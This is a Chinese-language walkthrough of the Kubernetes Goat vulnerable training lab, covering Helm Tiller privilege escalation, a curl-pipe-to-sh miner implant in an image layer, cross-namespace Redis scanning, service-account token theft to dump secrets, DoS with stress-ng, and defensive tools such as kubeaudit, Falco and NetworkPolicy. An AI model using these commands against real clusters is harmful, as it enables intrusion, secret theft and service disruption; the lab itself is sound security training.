通過Kuberneters Goat學習K8S安全(下)
實驗環境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x9 Helm v2 tiller 風險(已棄用)
此方案已被棄用,供學習參考,環境默認是 Helm v3版本,可以安裝Helm v2版本來實驗
Helm是Kubernetes的包管理器。這就像ubuntu的apt-get。在此場景中,利用較舊版本的HELM(版本2),tiller 服務 RBAC 默認設置獲取集群的訪問權限。
helm init --service-account=tiller --tiller-image=gcr.io/kubernetes-helm/tiller:v2.14.1 --history-max 300
運行以下命令開啟場景:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
默認情況配置下,Helm v2 Ttiller部署具有完全群集管理員權限的RBAC。
默認安裝在 kube-system 命名空間中,服務名稱為 tiller-deploy,端口 44134 暴露在 0.0.0.0。所以我們可以通過運行 telnet 命令來驗證。
image-20220401171806154
telnet tiller-deploy.kube-system 44134
image-20220401171835929
現在,我們可以連接到tiller服務端口了。我們可以使用 helm 來執行操作并與 tiller 服務通信。
image-20220401172032128
讓我們試試是否可以從Kube-System命名空間獲取集群中的Kubernetes secrets
image-20220402105832760
發現沒有權限訪問。
然后可以創建自己的 helm chart來授予默認服務帳戶完全集群管理員訪問權限,因為默認情況下,當前 pod 部署在具有默認service account的默認命名空間中。
helm --host tiller-deploy.kube-system:44134 install --name pwnchart /pwnchart
image-20220401172737067
現在 pwnchart 已部署,它已授予所有默認服務帳戶集群管理員訪問權限。因此,讓我們再次嘗試獲取 kube-system namespace secrets
image-20220402110024861
此場景會改變Tiller部署的執行方式,有時管理員會使用特定權限將Tiller部署到特定的名稱空間。同樣在Helm v3中,也沒有tiller服務來緩解此類漏洞。
參考資料:
https://engineering.bitnami.com/articles/helm-security.html
0x10 分析被部署挖礦軟件的容器鏡像
針對基礎設施的挖礦攻擊越來越流行。尤其是像 Kubernetes 這樣的環境很容易成為目標,因為你甚至看不到容器鏡像到底是基于什么構建的,以及它在主動監控方面做了什么。在此場景中,我們將分析和識別被植入挖礦軟件的容器鏡像。
首先,確定 Kubernetes 集群中的所有資源/鏡像和包括作業。
controlplane $ kubectl get jobs NAME COMPLETIONS DURATION AGE batch-check-job 1/1 6m32s 32m hidden-in-layers 0/1
標識Kubernetes群集內的所有資源。盡可能詳細了解集群內所有節點中可用的每個容器鏡像的詳細信息。
一旦我們確定了在Kubernetes集群中運行的作業,就可以通過運行以下命令來獲取Pod信息。
kubectl describe job batch-check-job
image-20220329153905246
獲取pods信息:
kubectl get pods --namespace default -l "job-name=batch-check-job"
image-20220329154013352
獲取pod信息manifest并分析:
kubectl get pod batch-check-job-xxxx -o yaml
image-20220329154147170
image-20220329154440432
可以看到Docker鏡像名稱是madhuakula/k8s-goat-batch-check
然后通過docker history查看鏡像的構建歷史記錄:
docker history --no-trunc madhuakula/k8s-goat-batch-check
image-20220329154959332
我們發現它在其中一層的構建中植入了惡意挖礦腳本
curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup
0x11 繞過Kubernetes命名空間
場景描述
默認情況下,Kubernetes 使用平行網絡架構,這意味著集群中的任何 pod/service 都可以與其他 pod/service 通信。默認情況下,集群內的命名空間沒有任何網絡安全限制。命名空間中的任何容器都可以與其他命名空間通信。我們聽說 Kubernetes-Goat 喜歡緩存。讓我們看看我們是否可以訪問其他命名空間。
首先運行以下命令,創建一個名為hacker-container的容器:
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
收集集群IP信息:
ip route ip a show printenv
image-20220330124508928
基于對系統的分析/理解,嘗試使用zmap掃描集群內的redis服務信息:
zmap -p 6379 10.0.0.0/8 -o results.csv
image-20220330124658386
查看結果:
image-20220330135507655
還有另一種方法可以訪問 Kubernetes 中的服務/pod。例如使用 DNS cache-store-service.secure-middleware (servicename.namespace)。https://kubernetes.io/docs/concepts/services-networking/service/#dns使用redis-cli進行連接
image-20220330135757210
集群內還有許多其他的服務和資源,比如ElasticSearch,Mongo等等。所以,如果你的偵察技術很好,那么你可以在這里找到很多有價值的東西。
0x12 獲取環境信息
場景描述
Kubernetes 中的每個環境都會有很多信息要共享。包括Secrets、API Keys、配置、服務等等關鍵內容。所以讓我們繼續收集關鍵信息!
訪問http://127.0.0.1:1233
收集系統關鍵信息
id cat /proc/self/cgroup cat /etc/hosts mount ls -la /home/
image-20220330140750613
獲取環境變量,包括 Kubernetes Secret 的 K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3 和服務名稱、端口等。
image-20220330141200751
0x13 針對環境的DoS風險
場景描述
如果Kubernetes 資源清單中沒有規范,也沒有為容器應用限制范圍。作為攻擊者,我們可以消耗 pod/deployment 運行的所有資源,并餓死其他資源,從而對環境造成 DoS攻擊。
本場景在http://127.0.0.1:1236中完成
此部署 pod 未在 Kubernetes 清單中設置任何資源限制。所以我們可以輕松執行一些列消耗資源的操作。
在這個 pod 中,安裝了一個名為 stress-ng 的程序(壓力測試工具)
執行之前查看資源情況:
kubectl --namespace big-monolith top pod hunger-check-deployment-5d94d56fdb-hc2bv
image-20220331123127374
執行 stress-ng 的程序
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
image-20220331122244902
再次查看資源情況:
image-20220331123239292
此攻擊在某些情況下可能不起作用,如自動擴展、資源限制等情況
0x14 hacker-container 簡介
場景描述
這個場景只是對Kubernetes集群環境中的常見安全實用程序的探索。在之前你可能已經多次使用過hacker-container了。
運行:
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
Hacker Container是一個實用工具,其中包含黑客入侵Kubernetes集群時可能會用的工具/命令列表。因此,你可以使用它對 Kubernetes 環境進行自由探索。在這里,我們介紹一些強大的實用程序。
容器自檢實用程序,用于獲取系統功能的概述:
amicontained
image-20220331124353969
針對內部服務執行 Nikto 掃描
nikto.pl -host http://metadata-db
image-20220331124446880
還有許多其他程序。為了最大限度地利用hacker-container,我們可以使用主機特權、卷、進程等等。
0x15 Hidden in layers
場景描述
敏感信息泄露是普遍存在的最常見漏洞之一。在容器化世界中,密碼、私鑰、令牌等很容易被錯誤處理。此場景下,我們將分析和識別導致敏感信息泄露等此類處理不當的不良做法之一。
執行以下命令,開始本次場景:
kubectl get jobs
image-20220331125137488
嘗試瀏覽運行容器中的所有文件、環境變量等。接下來,嘗試用不同的工具分析上面使用的鏡像,以找到暴露的敏感信息。
獲取詳細信息:
image-20220331125704928
image-20220331125731835
使用docker cli分析鏡像信息
docker inspect madhuakula/k8s-goat-hidden-in-layers
image-20220331125947437
可以看到鏡像設置了容器啟動時要執行的一些命令。但獲取的信息還太少,繼續探索。
如果我們了解這個鏡像是如何從頭開始構建的,也許對我們會更有幫助。如果你有 dockerfile,可以直接分析鏡像的 dockerfile。如果沒有,可以通過其他幾種方法分析。
- 方法一,查看構建歷史
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
image-20220331130434101- 可以看到在構建鏡像的時候,添加了一個
secret.txt的文件,可能是密鑰之類的敏感文件。 - 方法二,通過鏡像反向生成dockerfile
- 可以通過
alpine/dfimage工具生成指定鏡像的dockerfile
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers
image-20220331130815995- 方法三,使用
Dive工具 Dive是一個非常棒的工具,可以幫助分析鏡像的每一層。https://github.com/wagoodman/dive- 安裝方式可以參考官方說明,使用方法如下
dive madhuakula/k8s-goat-hidden-in-layers
image-20220331131337382
從以上分析中,我們可以看到/root/contributions.txt, /root/secret.txt這兩個比較重要和可疑的文件。
接下來看看是否可以在運行的容器中找到這些文件。
image-20220331132317529
可以看到只有contribution.txt,而secret.txt,在構建的時候被刪除了。我們現在想辦法恢復它。
首先使用docker save把鏡像導出為文件。
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar
解壓出來:
tar -xvf hidden-in-layers.tar
image-20220331132838602
我們可以看到每個層都被導出為一個單獨的tar文件。這個鏡像有3層,所以有3個tar文件。這里因為只有3層,所以很容易提取所有的層并檢查內容,但如果鏡像有上百層,這個方法就不太好用了。
根據之前dive的檢查結果
image-20220331133345023
在id為da73da4359e9edb793ee5472ae3538be8aec57c27efff7dae8873566c865533f的這一層,添加了secret.txt文件,所以我們解壓這一層的tar進行文件分析
image-20220331133814688
image-20220331133837902
找到了關鍵信息。
參考:
深入了解docker層:https://jessicagreben.medium.com/digging-into-docker-layers-c22f948ed612
0x16 RBAC最低權限配置錯誤
場景描述
在現實世界中,們經常看到開發人員和 devops 團隊往往會提供超出需求的額外權限。這種情況發生時,攻擊者獲得了比他們預期的更多的控制權和特權。在此場景中,你可以利用綁定到 pod 的 serviceaccount 提供的 webhookapikey 訪問權限。但這也會讓攻擊者可以控制和獲取敏感資源。獲得對 vaultapikey 的訪問權限。
首先訪問http://127.0.0.1:1236
image-20220331135436032
此部署具有映射了過度許可策略/訪問權限的自定義服務帳戶。作為攻擊者,我們可以利用這一點來訪問其他資源和服務。
由于Kubernetes默認情況下將所有secrets、tokens和service accounts 信息都存儲在一個固定的目錄。
直接訪問這個目錄,查找敏感的信息:
cd /var/run/secrets/kubernetes.io/serviceaccount/ ls -la
image-20220331135819692
現在我們可以使用這些信息與 Kubernetes API 服務進行交互,該服務具有對令牌的可用權限和特權。
指向內部 API 服務器主機名:
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
設置 ServiceAccount 令牌的路徑
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
讀取 pods namespace 并將其設置為變量。namespace應該是 big-monolith,如果它是default,你需要將 Kubernetes-goat 更新到最新版本(https://github.com/madhuakula/kubernetes-goat/commit/d068966ae481df55caed818c7cfc14867c1e42a1)
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
指定讀取ServiceAccount持有者令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
指定在cURL請求查詢時要使用的證書路徑
export CACERT=${SERVICEACCOUNT}/ca.crt
然后就可以使用令牌和構造的查詢來訪問 Kubernetes API了
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
image-20220331143413299
查詢default命名空間中的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
image-20220331143521011
查詢特定命名空間的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
image-20220331144019449
查詢特定命名空間中的pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
image-20220331144158593
因為Kubernetes本身是利用API服務來創建、刪除pod等操作的,所以你可以嘗試并利用所有可能的Kubernetes操作。
獲取 k8svaultapikey
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
image-20220331144406359
解密看看:
echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d
image-20220331144536304
0x17 利用KubeAudit 審計 Kubernetes 集群
場景描述
本場景主要針對Kubernetes集群的各種不同安全問題進行審計。
要開始這個場景,你可以運行以下命令啟動一個具有集群管理員權限的hacker-container (tiller Service Account擁有集群管理員權限)
這一步可能需要先在kubernetes集群上為Tiller 創建具有集群管理員權限的Service Account。
相關教程:https://cloud.tencent.com/developer/article/1559675
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
image-20220331151635057
kubeaudit 是一個命令行工具和一個 Go 包,用于審計 Kubernetes 集群各種不同的安全問題,例如:
- run as non-root //非root運行
- use a read-only root filesystem //使用只讀文件系統
- drop scary capabilities, don't add new ones //丟棄高危 capabilities,不添加新的
- don't run privileged //不要以特權身份運行
- and more! //等更多
有關該項目的更多詳細信息,請參考 https://github.com/Shopify/kubeaudit
運行 kubeaudit。Kubeaudit會檢測它是否在集群中的容器內運行。如果是這樣,它將嘗試審計該集群中的所有 Kubernetes 資源。
kubeaudit all
image-20220331152513407
image-20220331152807143
0x18 使用 Sysdig Falco 進行運行時安全監控和檢測
場景描述
這個場景是為容器和Kubernetes資源部署運行時安全監控和檢測。
要開始使用此方案,你需要使用helm v3進行部署
helm repo add falcosecurity https://falcosecurity.github.io/charts helm repo update helm install falco --set falco.jsonOutput=true falcosecurity/falco
image-20220331154313397
云原生運行時安全項目Falco是事實上的 Kubernetes 威脅檢測引擎。Falco由Sysdig于 2016 年創建,是第一個作為孵化級項目加入CNCF的運行時安全項目。Falco可在運行時檢測意外的應用程序行為并發出威脅警報。
Falco 通過以下方式使用系統調用來保護和監控系統:
- Parsing the Linux system calls from the kernel at runtime //在運行時從內核解析 Linux 系統調用
- Asserting the stream against a powerful rules engine //強大的規則引擎斷言流
- Alerting when a rule is violated //在違反規則時發出警報
Falco附帶了一組默認規則,用于檢查內核的異常行為,例如:
- Privilege escalation using privileged containers //使用特權容器提權
- Namespace changes using tools like
setns//使用 setns 等工具更改命名空間 - Read/Writes to well-known directories such as /etc, /usr/bin, /usr/sbin, etc //對場景目錄的讀/寫操作,如/etc、/usr/bin、/usr/sbin等
- Creating symlinks //創建符號鏈接
- Ownership and Mode changes //所有權和模式更改
- Unexpected network connections or socket mutations //意外的網絡連接或套接字突變
- Spawned processes using execve //使用execve派生的進程
- Executing shell binaries such as sh, bash, csh, zsh, etc //執行 shell 二進制文件,例如 sh、bash、csh、zsh 等
- Executing SSH binaries such as ssh, scp, sftp, etc //執行 SSH 二進制文件,例如 ssh、scp、sftp 等
- Mutating Linux coreutils executables //異常的Linux核心實用程序可執行文件
- Mutating login binaries //異常的登錄二進制文件
- Mutating shadowutil or passwd executables such as shadowconfig, pwck, chpasswd, getpasswd, change, useradd, etc, and others. // 異常的shadowutil 或 passwd 可執行文件,例如 shadowconfig、pwck、chpasswd、getpasswd、change、useradd 等。
獲取 falco 部署的更多詳細信息
image-20220331155622149
手動從Falco系統獲取日志
kubectl logs -f -l app=falco
image-20220331155713860
現在,讓我們啟動一個hacker container并讀取敏感文件,看看Falco是否能檢測到
image-20220331160112355
image-20220401141027729
0x19 使用Popeye發現Kubernetes集群潛在問題
場景描述
此場景主要是通過實時掃描Kubernetes集群來審核Kubernetes集群,并上報部署的資源和配置的潛在問題。
要開始這個場景,運行以下命令啟用具有集群管理員權限的hacker container
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
Popeye 是一種實用程序,可掃描實時 Kubernetes 集群并報告已部署資源和配置的潛在問題。它根據部署的內容為集群消毒。通過掃描集群,它可以檢測錯誤配置并幫助你確保最佳實踐到位,從而防止未來出現問題。Popeye 是一個只讀工具,它不會以任何方式改變任何 Kubernetes 資源。
以下是一些檢查和掃描列表:
- Node //節點
- Namespace
- Pod
- Service
- ServiceAccount
- Secrets
- ConfigMap
- Deployment
- StatefulSet
- DaemonSet
- PersistentVolume
- PersistentVolumeClaim
- HorizontalPodAutoscaler
- PodDisruptionBudget
- ClusterRole
- ClusterRoleBinding
- Role
- RoleBinding
- Ingress
- NetworkPolicy
- PodSecurityPolicy
有關該項目的更多詳細信息,請參考 https://github.com/derailed/popeye
使用cluster token 權限在集群中運行運行popeye
image-20220401142701925
image-20220401142722133
image-20220401142738904
image-20220401142815255
可以看到,集群健康評分為83 B
0x20 使用 NSP 保護網絡邊界
場景描述
這個場景是為Kubernetes資源部署一個簡單的網絡安全策略來創建安全邊界。
要開始此場景,請確保必須使用支持NetworkPolicy的網絡解決方案。
場景提供來自:https://github.com/ahmetb/kubernetes-network-policy-recipes
如果你希望在 IP 地址或端口層面(OSI 第 3 層或第 4 層)控制網絡流量, 則你可以考慮為集群中特定應用使用 Kubernetes 網絡策略(NetworkPolicy)。
NetworkPolicy 是一種以應用為中心的結構,允許你設置如何允許 Pod 與網絡上的各類網絡“實體” (我們這里使用實體以避免過度使用諸如“端點”和“服務”這類常用術語, 這些術語在 Kubernetes 中有特定含義)通信。
Pod 可以通信的 Pod 是通過如下三個標識符的組合來辯識的:
1、其他被允許的 Pods(例外:Pod 無法阻塞對自身的訪問)
2、被允許的名字空間
3、IP 組塊(例外:與 Pod 運行所在的節點的通信總是被允許的, 無論 Pod 或節點的 IP 地址)
在定義基于 Pod 或namespace的 NetworkPolicy 時,你可以使用 selector 來設定哪些流量可以進入或離開與該selector匹配的 Pod。
同時,當基于 IP 的 NetworkPolicy 被創建時,我們基于 IP 組塊(CIDR 范圍) 來定義策略。
創建一個拒絕所有去往應用流量的策略
此NetworkPolicy會將所有去往被Pod Selectors選擇的應用程序pod流量丟棄。
使用案例:
- 這其實很常見:如果要使用白名單網絡策略,首先需要使用此策略將流量列入黑名單
- 你想運行一個
Pod并希望阻止任何其他Pod與其通信 - 你暫時希望將發往某個服務的流量與其他
Pod隔離

示例
運行一個labels為app=web的Nginx pod,并暴露80端口
kubectl run --image=nginx web --labels app=web --expose --port 80
運行一個臨時 Pod 并向 Web Service 發送請求
kubectl run --rm -i -t --image=alpine test-$RANDOM -- sh
image-20220401151749887
可以看到能夠正常訪問,現在我們對集群應用下列網絡策略
kind: NetworkPolicy apiVersion: networking.k8s.io/v1 metadata: name: web-deny-all spec: podSelector: matchLabels: app: web ingress: []
image-20220401152000012
再次嘗試請求Web Service
image-20220401160902584
流量被丟棄了
Kuberneters Goat 提供的在線環境中,使用的是flannel網絡解決方案,是不支持NetworkPolicy的。可以使用Calico網絡解決方案。
說明:
- 在上面的清單中,我們以帶有
app=web標簽的Pod為目標來配置網絡策略。此清單文件缺少spec.ingress字段。因此它不允許任何流量進入Pod。 - 如果你創建另一個
NetworkPolicy讓某些Pod直接或間接訪問此應用程序,則此NetworkPolicy將失效。 - 如果至少有一個
NetworkPolicy的規則允許流量,則意味著流量將被路由到Pod,而不管阻止流量的策略如何。
刪除策略
kubectl -- delete -f web-deny-all.yaml
更多參考資料和資源可以在 https://github.com/ahmetb/kubernetes-network-policy-recipes 找到
Cilium 編輯器 - 網絡策略編輯器
Cilium編輯器一個教你如何創建網絡策略的工具/框架。它解釋了基本的網絡策略概念,并指導你完成實現所需的最低權限安全和零信任概念所需的步驟。
在線訪問 Cilium Editor https://editor.cilium.io/
image-20220401162436964
參考資料:
https://kubernetes.io/docs/concepts/services-networking/network-policies/
https://github.com/ahmetb/kubernetes-network-policy-recipes
https://editor.cilium.io/
0x21 Kubernetes Goat的安全掃描報告
使用其他開源安全工具掃描Kubernetes Goat基礎設施生成的安全掃描報告
- Checkov:https://github.com/bridgecrewio/checkov
git clone git@github.com:madhuakula/kubernetes-goat.git checkov -d kubernetes-goat/
- 掃描報告了232個問題:
image-20220401163135800- KICS:https://kics.io/
KICS掃描報告了 265 個問題和Kubernetes Goat中的Docker配置問題。 - 詳細報告:https://madhuakula.com/kubernetes-goat/reports/kics-output.html
0x22 參與進來
首先,非常感謝你對 Kubernetes Goat 表現出興趣,我們非常感謝。
以下是你可以為 Kubernetes-Goat 做出貢獻的一些方法:
- 通過提供你寶貴的反饋。無論是正面的還是負面的,我們都非常感謝你的誠實反饋:)
- 通過為平臺和場景的開發做出貢獻
- 改進文檔/注釋
- 通過傳播信息與社區、朋友和同事分享